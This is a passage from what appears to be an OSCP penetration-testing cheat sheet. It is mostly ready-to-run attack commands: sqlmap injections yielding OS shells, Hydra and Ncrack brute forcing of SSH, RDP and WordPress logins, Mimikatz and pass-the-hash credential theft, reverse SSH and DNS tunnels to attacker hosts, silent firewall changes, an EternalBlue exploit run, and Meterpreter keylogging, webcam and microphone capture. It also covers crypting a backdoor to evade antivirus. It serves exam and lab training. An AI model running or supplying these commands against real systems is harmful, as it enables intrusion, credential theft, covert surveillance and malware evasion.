1824.      - SQLMap Search for databases against a suspected GET SQL Injection
1825.
1826.        `sqlmap –u http://$ip/blog/index.php?search –dbs`
1827.
```

```
      - SQLMap dump tables from database oscommerce at GET SQL injection

        `sqlmap –u http://$ip/blog/index.php?search= –dbs –D oscommerce –tables –dumps `

      - SQLMap GET Parameter command

         `sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --dump -threads=5  `

      - SQLMap Post Username parameter

          `sqlmap -u http://$ip/login.php --method=POST --data="usermail=asc@dsd.com&password=1231" -p "usermail" --risk=3 --level=5 --dbms=MySQL --dump-all`

      - SQL Map OS Shell

          `sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --osshell  `

          `sqlmap -u http://$ip/login.php --method=POST --data="usermail=asc@dsd.com&password=1231" -p "usermail" --risk=3 --level=5 --dbms=MySQL --os-shell`

       - Automated sqlmap scan

          `sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords  --file-read="/var/www/blah.php"`

        - Targeted sqlmap scan

           `sqlmap -u "http://meh.com/meh.php?id=1" --dbms=mysql --tech=U --random-agent --dump`
```

```
1853.
1854.          - Scan url for union + error based injection with mysql backend and use a random user agent + database dump
1855.
1856.             `sqlmap -o -u http://$ip/index.php --forms --dbs  `
1857.
1858.             `sqlmap -o -u "http://$ip/form/" --forms`
1859.
1860.           - Sqlmap check form for injection
1861.
1862.              `sqlmap -o -u "http://$ip/vuln-form" --forms -D database-name -T users --dump`
1863.
1864.            - Enumerate databases
1865.
1866.               `sqlmap --dbms=mysql -u "$URL" --dbs`
1867.
1868.             - Enumerate tables from a specific database
1869.
1870.               `sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables  `
1871.
1872.             - Dump table data from a specific database and table
1873.
1874.                `sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump `
1875.
1876.             - Specify parameter to exploit
1877.
1878.                `sqlmap --dbms=mysql -u "http://www.example.com/param1=value1&param2=value2" --dbs -p param2 `
1879.
1880.             - Specify parameter to exploit in 'nice' URIs (exploits param1)
```

```
1881.
1882.                `sqlmap --dbms=mysql -u "http://www.example.com/param1/value1*/param2/value2" --dbs `
1883.
1884.             - Get OS shell
1885.
1886.                 `sqlmap --dbms=mysql -u "$URL" --os-shell`
1887.
1888.             - Get SQL shell
1889.
1890.                 `sqlmap --dbms=mysql -u "$URL" --sql-shell`
1891.
1892.              - SQL query
1893.
1894.                `sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --sql-query "SELECT * FROM $TABLE;"`
1895.
1896.              - Use Tor Socks5 proxy
1897.
1898.                `sqlmap --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "$URL" --dbs`
1899.
1900.
1901. -   **NoSQLMap Examples**
1902.        You may encounter NoSQL instances like MongoDB in your OSCP journies (`/cgi-bin/mongo/2.2.3/dbparse.py`).  NoSQLMap can help
     you to automate NoSQLDatabase enumeration.
1903.
1904.   -   NoSQLMap Installation
1905.
1906.             git clone https://github.com/codingo/NoSQLMap.git
1907.             cd NoSQLMap/
```

```
            ls
            pip install couchdb
            pip install pbkdf2
            pip install ipcalc
            python nosqlmap.py --help

-   Password Attacks
    ------------------------------------------------------------------------------------------------------------

    -   AES Decryption
        http://aesencryption.net/

    -   Convert multiple webpages into a word list
        for x in 'index' 'about' 'post' 'contact' ; do curl
        http://$ip/$x.html | html2markdown | tr -s ' ' '\\n' >>
        webapp.txt ; done

    -   Or convert html to word list dict
        html2dic index.html.out | sort -u > index-html.dict

    -   Default Usernames and Passwords

        -   CIRT
            [*http://www.cirt.net/passwords*](http://www.cirt.net/passwords)

        -   Government Security - Default Logins and Passwords for
            Networked Devices
```

```
1936.         -   [*http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.php*]
    (http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.php)
1937.
1938.         -   Virus.org
1939.             [*http://www.virus.org/default-password/*](http://www.virus.org/default-password/)
1940.
1941.         -   Default Password
1942.             [*http://www.defaultpassword.com/*](http://www.defaultpassword.com/)
1943.
1944.     -   Brute Force
1945.
1946.         -   Nmap Brute forcing Scripts
1947.             [*https://nmap.org/nsedoc/categories/brute.html*](https://nmap.org/nsedoc/categories/brute.html)
1948.
1949.         -   Nmap Generic auto detect brute force attack
1950.             nmap --script brute -Pn <target.com or ip>
1951.             <enter>
1952.
1953.         -   MySQL nmap brute force attack
1954.             nmap --script=mysql-brute $ip
1955.
1956.     -   Dictionary Files
1957.
1958.         -   Word lists on Kali
1959.             cd /usr/share/wordlists
1960.
1961.     -   Key-space Brute Force
1962.
```

```
        -   crunch 6 6 0123456789ABCDEF -o crunch1.txt

        -   crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha

        -   crunch 8 8 -t ,@@^^%%%

    -   Pwdump and Fgdump - Security Accounts Manager (SAM)

        -   pwdump.exe - attempts to extract password hashes

        -   fgdump.exe - attempts to kill local antiviruses before
            attempting to dump the password hashes and
            cached credentials.

    -   Windows Credential Editor (WCE)

        -   allows one to perform several attacks to obtain clear text
            passwords and hashes

        -   wce -w

    -   Mimikatz

        -   extract plaintexts passwords, hash, PIN code and kerberos
            tickets from memory. mimikatz can also perform
            pass-the-hash, pass-the-ticket or build Golden tickets
            [*https://github.com/gentilkiwi/mimikatz*](https://github.com/gentilkiwi/mimikatz)
            From metasploit meterpreter (must have System level access):
```

```
            `meterpreter> load mimikatz
            meterpreter> help mimikatz
            meterpreter> msv
            meterpreter> kerberos
            meterpreter> mimikatz_command -f samdump::hashes
            meterpreter> mimikatz_command -f sekurlsa::searchPasswords`

    -   Password Profiling

        -   cewl can generate a password list from a web page
            `cewl www.megacorpone.com -m 6 -w megacorp-cewl.txt`

    -   Password Mutating

        -   John the ripper can mutate password lists
            nano /etc/john/john.conf
            `john --wordlist=megacorp-cewl.txt --rules --stdout > mutated.txt`

    -   Medusa

        -   Medusa, initiated against an htaccess protected web
            directory
            `medusa -h $ip -u admin -P password-file.txt -M http -m DIR:/admin -T 10`

    -   Ncrack

        -   ncrack (from the makers of nmap) can brute force RDP
            `ncrack -vv --user offsec -P password-file.txt rdp://$ip`
```

```
2019.
2020.    -   Hydra
2021.
2022.        -   Hydra brute force against SNMP
2023.            `hydra -P password-file.txt -v $ip snmp`
2024.
2025.        -   Hydra FTP known user and password list
2026.            `hydra -t 1 -l admin -P /root/Desktop/password.lst -vV $ip ftp`
2027.
2028.        -   Hydra SSH using list of users and passwords
2029.            `hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh`
2030.
2031.        -   Hydra SSH using a known password and a username list
2032.            `hydra -v -V -u -L users.txt -p "<known password>" -t 1 -u $ip ssh`
2033.
2034.        -   Hydra SSH Against Known username on port 22
2035.            `hydra $ip -s 22 ssh -l <user> -P big\_wordlist.txt`
2036.
2037.        -   Hydra POP3 Brute Force
2038.            `hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V`
2039.
2040.        -   Hydra SMTP Brute Force
2041.            `hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V`
2042.
2043.        -   Hydra attack http get 401 login with a dictionary
2044.            `hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin`
2045.
2046.        -   Hydra attack Windows Remote Desktop with rockyou
```

```
2047.             `hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip`
2048.
2049.         -   Hydra brute force a Wordpress admin login
2050.             `hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log
    In&testcookie=1:S=Location'`
2051.
2052.
2053.
2054. -   <span id="_bnmnt83v58wk" class="anchor"><span id="_Toc480741822" class="anchor"></span></span>Password Hash Attacks
2055.     ----------------------------------------------------------------------------------------------------
2056.
2057.     -   Online Password Cracking
2058.         [*https://crackstation.net/*](https://crackstation.net/)
2059.
2060.     -   Hashcat
2061.    Needed to install new drivers to get my GPU Cracking to work on the Kali linux VM and I also had to use the --force parameter.
2062. apt-get install libhwloc-dev ocl-icd-dev ocl-icd-opencl-dev
2063. and
2064. apt-get install pocl-opencl-icd
2065.
2066.    Cracking Linux Hashes - /etc/shadow file
2067.    ```
2068.    500 | md5crypt $1$, MD5(Unix)                          | Operating-Systems
2069.    3200 | bcrypt $2*$, Blowfish(Unix)                     | Operating-Systems
2070.    7400 | sha256crypt $5$, SHA256(Unix)                   | Operating-Systems
2071.    1800 | sha512crypt $6$, SHA512(Unix)                   | Operating-Systems
2072.    ```
2073.    Cracking Windows Hashes
```

```
3000 | LM                                                 | Operating-Systems
1000 | NTLM                                               | Operating-Systems
```
Cracking Common Application Hashes
```
 900 | MD4                                                | Raw Hash
   0 | MD5                                                | Raw Hash
5100 | Half MD5                                           | Raw Hash
 100 | SHA1                                               | Raw Hash
10800 | SHA-384                                           | Raw Hash
1400 | SHA-256                                            | Raw Hash
1700 | SHA-512                                            | Raw Hash
```

Create a .hash file with all the hashes you want to crack
puthasheshere.hash:
```
$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/
```

Hashcat example cracking Linux md5crypt passwords 1 using rockyou:

`hashcat --force -m 500 -a 0 -o found1.txt --remove puthasheshere.hash /usr/share/wordlists/rockyou.txt`

Wordpress sample hash: PB55D6LjfHDkINU5wF.v2BuuzO0/XPk/

Wordpress clear text: test

```
2102.
2103.    Hashcat example cracking Wordpress passwords using rockyou:
2104.
2105.   `hashcat --force -m 400 -a 0 -o found1.txt --remove wphash.hash /usr/share/wordlists/rockyou.txt`
2106.
2107.     -   Sample Hashes
2108.         [*http://openwall.info/wiki/john/sample-hashes*](http://openwall.info/wiki/john/sample-hashes)
2109.
2110.     -   Identify Hashes
2111.
2112.         `hash-identifier`
2113.
2114.     -   To crack linux hashes you must first unshadow them:
2115.
2116.         `unshadow passwd-file.txt shadow-file.txt  `
2117.         `unshadow passwd-file.txt shadow-file.txt > unshadowed.txt`
2118.
2119. -   John the Ripper - Password Hash Cracking
2120.
2121.     -   `john $ip.pwdump`
2122.
2123.     -   `john --wordlist=/usr/share/wordlists/rockyou.txt hashes`
2124.
2125.     -   `john --rules --wordlist=/usr/share/wordlists/rockyou.txt`
2126.
2127.     -   `john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt`
2128.
2129.     -   JTR forced descrypt cracking with wordlist
```

```
2130.
2131.         `john --format=descrypt --wordlist  /usr/share/wordlists/rockyou.txt hash.txt`
2132.
2133.     -   JTR forced descrypt brute force cracking
2134.
2135.         `john --format=descrypt hash --show`
2136.
2137. -   Passing the Hash in Windows
2138.
2139.     -   Use Metasploit to exploit one of the SMB servers in the labs.
2140.         Dump the password hashes and attempt a pass-the-hash attack
2141.         against another system:
2142.
2143.         `export SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896 `
2144.
2145.         `pth-winexe -U administrator //$ip cmd`
2146.
2147. <span id="_6nmbgmpltwon" class="anchor"><span id="_Toc480741823" class="anchor"></span></span>Networking, Pivoting and Tunneling
2148. ==========
2149.
2150. -   Port Forwarding - accept traffic on a given IP address and port and
2151.     redirect it to a different IP address and port
2152.
2153.     -   `apt-get install rinetd`
2154.
2155.     -   `cat /etc/rinetd.conf  `
2156.         `\# bindadress bindport connectaddress connectport `
2157.         `w.x.y.z 53 a.b.c.d 80`
```

```
2158.
2159. -   SSH Local Port Forwarding: supports bi-directional communication
2160.     channels
2161.
2162.     -   `ssh <gateway> -L <local port to listen>:<remote
2163.         host>:<remote port>`
2164.
2165. -   SSH Remote Port Forwarding: Suitable for popping a remote shell on
2166.     an internal non routable network
2167.
2168.     -   `ssh <gateway> -R <remote port to bind>:<local
2169.         host>:<local port>`
2170.
2171. -   SSH Dynamic Port Forwarding: create a SOCKS4 proxy on our local
2172.     attacking box to tunnel ALL incoming traffic to ANY host in the DMZ
2173.     network on ANY PORT
2174.
2175.     -   `ssh -D <local proxy port> -p <remote port>
2176.         <target>`
2177.
2178. -   Proxychains - Perform nmap scan within a DMZ from an external
2179.     computer
2180.
2181.     -   Create reverse SSH tunnel from Popped machine on :2222
2182.
2183.         `ssh -f -N -T -R22222:localhost:22 yourpublichost.example.com`
2184.         `ssh -f -N -R 2222:<local host>:22 root@<remote host>`
2185.
```

```
    -   Create a Dynamic application-level port forward on 8080 thru
        2222

        `ssh -f -N -D <local host>:8080 -p 2222 hax0r@<remote host>`

    -   Leverage the SSH SOCKS server to perform Nmap scan on network
        using proxy chains

        `proxychains nmap --top-ports=20 -sT -Pn $ip/24`

-   HTTP Tunneling

      `nc -vvn $ip 8888`

-   Traffic Encapsulation - Bypassing deep packet inspection

    -   http tunnel
        On server side:
        `sudo hts -F <server ip addr>:<port of your app> 80  `
        On client side:
        `sudo htc -P <my proxy.com:proxy port> -F <port of your app> <server ip addr>:80 stunnel`

-   Tunnel Remote Desktop (RDP) from a Popped Windows machine to your
    network

    -   Tunnel on port 22

        `plink -l root -pw pass -R 3389:<localhost>:3389 <remote host>`
```

```
2214.
2215.     -   Port 22 blocked? Try port 80? or 443?
2216.
2217.         `plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P80`
2218.
2219. -   Tunnel Remote Desktop (RDP) from a Popped Windows using HTTP Tunnel
2220.     (bypass deep packet inspection)
2221.
2222.     -   Windows machine add required firewall rules without prompting the user
2223.
2224.     -   `netsh advfirewall firewall add rule name="httptunnel_client" dir=in action=allow program="httptunnel_client.exe" enable=yes`
2225.
2226.     -   `netsh advfirewall firewall add rule name="3000" dir=in action=allow protocol=TCP localport=3000`
2227.
2228.     -   `netsh advfirewall firewall add rule name="1080" dir=in action=allow protocol=TCP localport=1080`
2229.
2230.     -   `netsh advfirewall firewall add rule name="1079" dir=in action=allow protocol=TCP localport=1079`
2231.
2232.     -   Start the http tunnel client
2233.
2234.          `httptunnel_client.exe`
2235.
2236.     -   Create HTTP reverse shell by connecting to localhost port 3000
2237.
2238.         `plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P 3000`
2239.
2240. -   VLAN Hopping
2241.
```

```
    -   `git clone https://github.com/nccgroup/vlan-hopping.git
        chmod 700 frogger.sh
        ./frogger.sh`


-   VPN Hacking

    -   Identify VPN servers:
        `./udp-protocol-scanner.pl -p ike $ip`

    -   Scan a range for VPN servers:
        `./udp-protocol-scanner.pl -p ike -f ip.txt`

    -   Use IKEForce to enumerate or dictionary attack VPN servers:

        `pip install pyip`

        `git clone https://github.com/SpiderLabs/ikeforce.git  `

        Perform IKE VPN enumeration with IKEForce:

        `./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic  `

        Bruteforce IKE VPN using IKEForce:

        `./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1  `
        Use ike-scan to capture the PSK hash:
```

```
        `ike-scan
        ike-scan TARGET-IP
        ike-scan -A TARGET-IP
        ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key
        ike-scan –M –A –n example\_group -P hash-file.txt TARGET-IP  `
        Use psk-crack to crack the PSK hash

        `psk-crack hash-file.txt
        pskcrack
        psk-crack -b 5 TARGET-IPkey
        psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
        psk-crack -d /path/to/dictionary-file TARGET-IP-key`

-   PPTP Hacking

    -   Identifying PPTP, it listens on TCP: 1723
        NMAP PPTP Fingerprint:

        `nmap –Pn -sV -p 1723 TARGET(S)  `
        PPTP Dictionary Attack

        `thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst`

-   Port Forwarding/Redirection

-   PuTTY Link tunnel - SSH Tunneling

    -   Forward remote port to local address:
```

```
2298.
2299.          `plink.exe -P 22 -l root -pw "1337" -R 445:<local host>:445 <remote host>`
2300.
2301. -   SSH Pivoting
2302.
2303.     -   SSH pivoting from one network to another:
2304.
2305.         `ssh -D <local host>:1010 -p 22 user@<remote host>`
2306.
2307. -   DNS Tunneling
2308.
2309.     -   dnscat2 supports “download” and “upload” commands for getting iles (data and programs) to and from the target machine.
2310.
2311.     -   Attacking Machine Installation:
2312.
2313.         `apt-get update
2314.         apt-get -y install ruby-dev git make g++
2315.         gem install bundler
2316.         git clone https://github.com/iagox86/dnscat2.git
2317.         cd dnscat2/server
2318.         bundle install`
2319.
2320.     -   Run dnscat2:
2321.
2322.         `ruby ./dnscat2.rb
2323.         dnscat2> New session established: 1422
2324.         dnscat2> session -i 1422`
2325.
```

```
    -   Target Machine:
        https://downloads.skullsecurity.org/dnscat2/
        https://github.com/lukebaggett/dnscat2-powershell/

        `dnscat --host <dnscat server ip>`

<span id="_ujpvtdpc9i67" class="anchor"><span id="_Toc480741824" class="anchor"></span></span>The Metasploit Framework
==========

-   See [*Metasploit Unleashed
    Course*](https://www.offensive-security.com/metasploit-unleashed/)
    in the Essentials

-   Search for exploits using Metasploit GitHub framework source code:
    [*https://github.com/rapid7/metasploit-framework*](https://github.com/rapid7/metasploit-framework)
    Translate them for use on OSCP LAB or EXAM.

-   Metasploit

    -   MetaSploit requires Postfresql

        `systemctl start postgresql`

    -   To enable Postgresql on startup

        `systemctl enable postgresql`

-   MSF Syntax
```

```
2354.
2355.    -   Start metasploit
2356.
2357.        `msfconsole  `
2358.
2359.        `msfconsole -q`
2360.
2361.    -   Show help for command
2362.
2363.        `show -h`
2364.
2365.    -   Show Auxiliary modules
2366.
2367.        `show auxiliary`
2368.
2369.    -   Use a module
2370.
2371.        `use auxiliary/scanner/snmp/snmp_enum
2372.        use auxiliary/scanner/http/webdav_scanner
2373.        use auxiliary/scanner/smb/smb_version
2374.        use auxiliary/scanner/ftp/ftp_login
2375.        use exploit/windows/pop3/seattlelab_pass`
2376.
2377.    -   Show the basic information for a module
2378.
2379.        `info`
2380.
2381.    -   Show the configuration parameters for a module
```

```
2382.
2383.          `show options`
2384.
2385.      -   Set options for a module
2386.
2387.          `set RHOSTS 192.168.1.1-254
2388.          set THREADS 10`
2389.
2390.      -   Run the module
2391.
2392.          `run`
2393.
2394.      -   Execute an Exploit
2395.
2396.          `exploit`
2397.
2398.      -   Search for a module
2399.
2400.         `search type:auxiliary login`
2401.
2402.  -   Metasploit Database Access
2403.
2404.      -   Show all hosts discovered in the MSF database
2405.
2406.          `hosts`
2407.
2408.      -   Scan for hosts and store them in the MSF database
2409.
```

```
        `db_nmap`

    -   Search machines for specific ports in MSF database

        `services -p 443`

    -   Leverage MSF database to scan SMB ports (auto-completed rhosts)

        `services -p 443 --rhosts`

-   Staged and Non-staged

    -   Non-staged payload - is a payload that is sent in its entirety in one go

    -   Staged - sent in two parts  Not have enough buffer space  Or need to bypass antivirus

 -   MS 17-010 - EternalBlue

    -   You may find some boxes that are vulnerable to MS17-010 (AKA. EternalBlue).  Although, not offically part of the indended course, this exploit can be leveraged to gain SYSTEM level access to a Windows box.  I have never had much luck using the built in Metasploit EternalBlue module.  I found that the elevenpaths version works much more relabily. Here are the instructions to install it taken from the following YouTube video:
    https://www.youtube.com/watch?v=4OHLor9VaRI


      1. First step is to configure the Kali to work with wine 32bit

       `dpkg --add-architecture i386 && apt-get update && apt-get install wine32
```

```
      rm -r ~/.wine
      wine cmd.exe
      exit`

      2. Download the exploit repostory
      https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit

      3. Move the exploit to /usr /share /metasploit-framework /modules /exploits /windows /smb

      4. Start metasploit console


I found that using spoolsv.exe as the PROCESSINJECT yielded results on OSCP boxes.


      `use exploit/windows/smb/eternalblue_doublepulsar
      msf exploit(eternalblue_doublepulsar) > set RHOST 10.10.10.10
      RHOST => 10.11.1.73
      msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT spoolsv.exe
      PROCESSINJECT => spoolsv.exe
      msf exploit(eternalblue_doublepulsar) > run`



-   Experimenting with Meterpreter

    -   Get system information from Meterpreter Shell

```

```
2463.          `sysinfo`
2464.
2465.      -   Get user id from Meterpreter Shell
2466.
2467.          `getuid`
2468.
2469.      -   Search for a file
2470.
2471.          `search -f *pass*.txt`
2472.
2473.      -   Upload a file
2474.
2475.          `upload /usr/share/windows-binaries/nc.exe c:\\Users\\Offsec`
2476.
2477.      -   Download a file
2478.
2479.          `download c:\\Windows\\system32\\calc.exe /tmp/calc.exe`
2480.
2481.      -   Invoke a command shell from Meterpreter Shell
2482.
2483.          `shell`
2484.
2485.      -   Exit the meterpreter shell
2486.
2487.          `exit`
2488.
2489.  -   Metasploit Exploit Multi Handler
2490.
```

```
    -   multi/handler to accept an incoming reverse\_https\_meterpreter

        `payload
        use exploit/multi/handler
        set PAYLOAD windows/meterpreter/reverse_https
        set LHOST $ip
        set LPORT 443
        exploit
        [*] Started HTTPS reverse handler on https://$ip:443/`

-   Building Your Own MSF Module

    -   `mkdir -p ~/.msf4/modules/exploits/linux/misc
        cd ~/.msf4/modules/exploits/linux/misc
        cp
        /usr/share/metasploitframework/modules/exploits/linux/misc/gld\_postfix.rb
        ./crossfire.rb
        nano crossfire.rb`

-   Post Exploitation with Metasploit - (available options depend on OS and Meterpreter Cababilities)

    -   `download` Download a file or directory
        `upload` Upload a file or directory
        `portfwd` Forward a local port to a remote service
        `route` View and modify the routing table
        `keyscan_start` Start capturing keystrokes
        `keyscan_stop` Stop capturing keystrokes
        `screenshot` Grab a screenshot of the interactive desktop
```

```
        `record_mic` Record audio from the default microphone for X seconds
        `webcam_snap` Take a snapshot from the specified webcam
        `getsystem` Attempt to elevate your privilege to that of local system.
        `hashdump` Dumps the contents of the SAM database

-   Meterpreter Post Exploitation Features

    -   Create a Meterpreter background session

        `background`

<span id="_51btodqc88s2" class="anchor"><span id="_Toc480741825" class="anchor"></span></span>Bypassing Antivirus Software
==========================================================================================================================

-   Crypting Known Malware with Software Protectors

    -   One such open source crypter, called Hyperion

        `cp /usr/share/windows-binaries/Hyperion-1.0.zip
        unzip Hyperion-1.0.zip
        cd Hyperion-1.0/
        i686-w64-mingw32-g++ Src/Crypter/*.cpp -o hyperion.exe
        cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libgcc_s_sjlj-1.dll .
        cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libstdc++-6.dll .
        wine hyperion.exe ../backdoor.exe ../crypted.exe`


OSCP Course Review
```

```
2547. ==========================================================================================================
2548.
2549. -   Offensive Security’s PWB and OSCP – My Experience
2550.     [*http://www.securitysift.com/offsec-pwb-oscp/*](http://www.securitysift.com/offsec-pwb-oscp/)
2551.
2552. -   OSCP Journey
2553.     [*https://scriptkidd1e.wordpress.com/oscp-journey/*](https://scriptkidd1e.wordpress.com/oscp-journey/)
2554.
2555. -   Down with OSCP
2556.     [*http://ch3rn0byl.com/down-with-oscp-yea-you-know-me/*](http://ch3rn0byl.com/down-with-oscp-yea-you-know-me/)
2557.
2558. -   Jolly Frogs - Tech Exams (Very thorough)
2559.
2560. [*http://www.techexams.net/forums/security-certifications/110760-oscp-jollyfrogs-tale.html*]
     (http://www.techexams.net/forums/security-certifications/110760-oscp-jollyfrogs-tale.html)
2561.
2562. <span id="_pxmpirqr11x0" class="anchor"><span id="_Toc480741798" class="anchor"></span></span>OSCP Inspired VMs and Walkthroughs
2563. ==========================================================================================================
2564.
2565. -   [*https://www.vulnhub.com/*](https://www.vulnhub.com/)
2566.     [*https://www.root-me.org/*](https://www.root-me.org/)
2567.
2568. -   Walk through of Tr0ll-1 - Inspired by on the Trolling found in the
2569.     OSCP exam
2570.     [*https://highon.coffee/blog/tr0ll-1-walkthrough/*](https://highon.coffee/blog/tr0ll-1-walkthrough/)
2571.     Another walk through for Tr0ll-1
2572.     [*https://null-byte.wonderhowto.com/how-to/use-nmap-7-discover-vulnerabilities-launch-dos-attacks-and-more-0168788/*]
     (https://null-byte.wonderhowto.com/how-to/use-nmap-7-discover-vulnerabilities-launch-dos-attacks-and-more-0168788/)
```

```
    Taming the troll - walkthrough
    [*https://leonjza.github.io/blog/2014/08/15/taming-the-troll/*](https://leonjza.github.io/blog/2014/08/15/taming-the-troll/)
    Troll download on Vuln Hub
    [*https://www.vulnhub.com/entry/tr0ll-1,100/*](https://www.vulnhub.com/entry/tr0ll-1,100/)

-   Sickos - Walkthrough:
    [*https://highon.coffee/blog/sickos-1-walkthrough/*](https://highon.coffee/blog/sickos-1-walkthrough/)
    Sickos - Inspired by Labs in OSCP
    [*https://www.vulnhub.com/series/*](https://www.vulnhub.com/series/sickos,70/)[sickos](https://www.vulnhub.com/series/sickos,70/)
[*,70/*](https://www.vulnhub.com/series/sickos,70/)

-   Lord of the Root Walk Through
    [*https://highon.coffee/blog/lord-of-the-root-walkthrough/*](https://highon.coffee/blog/lord-of-the-root-walkthrough/)
    Lord Of The Root: 1.0.1 - Inspired by OSCP
    [*https://www.vulnhub.com/series/lord-of-the-root,67/*](https://www.vulnhub.com/series/lord-of-the-root,67/)

-   Tr0ll-2 Walk Through
    [*https://leonjza.github.io/blog/2014/10/10/another-troll-tamed-solving-troll-2/*]
(https://leonjza.github.io/blog/2014/10/10/another-troll-tamed-solving-troll-2/)
    Tr0ll-2
    [*https://www.vulnhub.com/entry/tr0ll-2,107/*](https://www.vulnhub.com/entry/tr0ll-2,107/)

<span id="_kfwx4om2dsj4" class="anchor"><span id="_Toc480741799" class="anchor"></span></span>Cheat Sheets
==========

-   Penetration Tools Cheat Sheet
    [*https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/*](https://highon.coffee/blog/penetration-testing-tools-cheat-
sheet/)
```

```
2598.
2599. -   Pen Testing Bookmarks
2600.     [*https://github.com/kurobeats/pentest-bookmarks/blob/master/BookmarksList.md*](https://github.com/kurobeats/pentest-
      bookmarks/blob/master/BookmarksList.md)
2601.
2602. -   OSCP Cheatsheets
2603.     [*https://github.com/slyth11907/Cheatsheets*](https://github.com/slyth11907/Cheatsheets)
2604.
2605. -   CEH Cheatsheet
2606.     [*https://scadahacker.com/library/Documents/Cheat\_Sheets/Hacking%20-%20CEH%20Cheat%20Sheet%20Exercises.pdf*]
      (https://scadahacker.com/library/Documents/Cheat_Sheets/Hacking%20-%20CEH%20Cheat%20Sheet%20Exercises.pdf)
2607.
2608. -   Net Bios Scan Cheat Sheet
2609.     [*https://highon.coffee/blog/nbtscan-cheat-sheet/*](https://highon.coffee/blog/nbtscan-cheat-sheet/)
2610.
2611. -   Reverse Shell Cheat Sheet
2612.     [*https://highon.coffee/blog/reverse-shell-cheat-sheet/*](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
2613.
2614. -   NMap Cheat Sheet
2615.     [*https://highon.coffee/blog/nmap-cheat-sheet/*](https://highon.coffee/blog/nmap-cheat-sheet/)
2616.
2617. -   Linux Commands Cheat Sheet
2618.     [*https://highon.coffee/blog/linux-commands-cheat-sheet/*](https://highon.coffee/blog/linux-commands-cheat-sheet/)
2619.
2620. -   Security Hardening CentO 7
2621.     [*https://highon.coffee/blog/security-harden-centos-7/*](https://highon.coffee/blog/security-harden-centos-7/)
2622.
2623. -   MetaSploit Cheatsheet
```

```
2624.     [*https://www.sans.org/security-resources/sec560/misc\_tools\_sheet\_v1.pdf*](https://www.sans.org/security-
      resources/sec560/misc_tools_sheet_v1.pdf)
2625.
2626. -   Google Hacking Database:
2627.     [*https://www.exploit-db.com/google-hacking-database/*](https://www.exploit-db.com/google-hacking-database/)
2628.
2629. -   Windows Assembly Language Mega Primer
2630.     [*http://www.securitytube.net/groups?operation=view&groupId=6*](http://www.securitytube.net/groups?operation=view&groupId=6)
2631.
2632. -   Linux Assembly Language Mega Primer
2633.     [*http://www.securitytube.net/groups?operation=view&groupId=5*](http://www.securitytube.net/groups?operation=view&groupId=5)
2634.
2635. -   Metasploit Cheat Sheet
2636.     [*https://www.sans.org/security-resources/sec560/misc\_tools\_sheet\_v1.pdf*](https://www.sans.org/security-
      resources/sec560/misc_tools_sheet_v1.pdf)
2637.
2638. -   A bit dated but most is still relevant
2639.
2640. [*http://hackingandsecurity.blogspot.com/2016/04/oscp-related-notes.html*](http://hackingandsecurity.blogspot.com/2016/04/oscp-
      related-notes.html)
2641.
2642. -   NetCat
2643.
2644. -   [*http://www.sans.org/security-resources/sec560/netcat\_cheat\_sheet\_v1.pdf*](http://www.sans.org/security-
      resources/sec560/netcat_cheat_sheet_v1.pdf)
2645.
2646. -   [*http://www.secguru.com/files/cheatsheet/nessusNMAPcheatSheet.pdf*]
      (http://www.secguru.com/files/cheatsheet/nessusNMAPcheatSheet.pdf)
```

```
2647.
2648. -   [*http://sbdtools.googlecode.com/files/hping3\_cheatsheet\_v1.0-ENG.pdf*]
      (http://sbdtools.googlecode.com/files/hping3_cheatsheet_v1.0-ENG.pdf)
2649.
2650. -   [*http://sbdtools.googlecode.com/files/Nmap5%20cheatsheet%20eng%20v1.pdf*]
      (http://sbdtools.googlecode.com/files/Nmap5%20cheatsheet%20eng%20v1.pdf)
2651.
2652. -   [*http://www.sans.org/security-resources/sec560/misc\_tools\_sheet\_v1.pdf*](http://www.sans.org/security-
      resources/sec560/misc_tools_sheet_v1.pdf)
2653.
2654. -   [*http://rmccurdy.com/scripts/Metasploit%20meterpreter%20cheat%20sheet%20reference.html*]
      (http://rmccurdy.com/scripts/Metasploit%20meterpreter%20cheat%20sheet%20reference.html)
2655.
2656. -   [*http://h.ackack.net/cheat-sheets/netcat*](http://h.ackack.net/cheat-sheets/netcat)
2657.
2658. Essentials
2659. ==========================================================================================
2660.
2661. -   Exploit-db
2662.     [*https://www.exploit-db.com/*](https://www.exploit-db.com/)
2663.
2664. -   SecurityFocus - Vulnerability database
2665.     [*http://www.securityfocus.com/*](http://www.securityfocus.com/)
2666.
